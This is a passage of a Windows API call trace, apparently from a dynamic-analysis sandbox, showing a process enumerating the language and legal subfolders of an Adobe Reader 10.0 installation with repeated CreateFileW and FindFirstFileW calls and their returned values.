	[0053.975] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.976] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.976] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.977] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.977] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.978] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.978] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.979] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.980] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.981] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.981] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.982] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.982] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.982] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.982] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.983] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.984] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.985] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.986] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.988] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.988] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.989] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.989] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.991] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.992] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.992] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.992] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.992] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.992] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.993] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.994] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.995] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.995] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.999] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.999] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.999] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.999] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.003] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.003] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
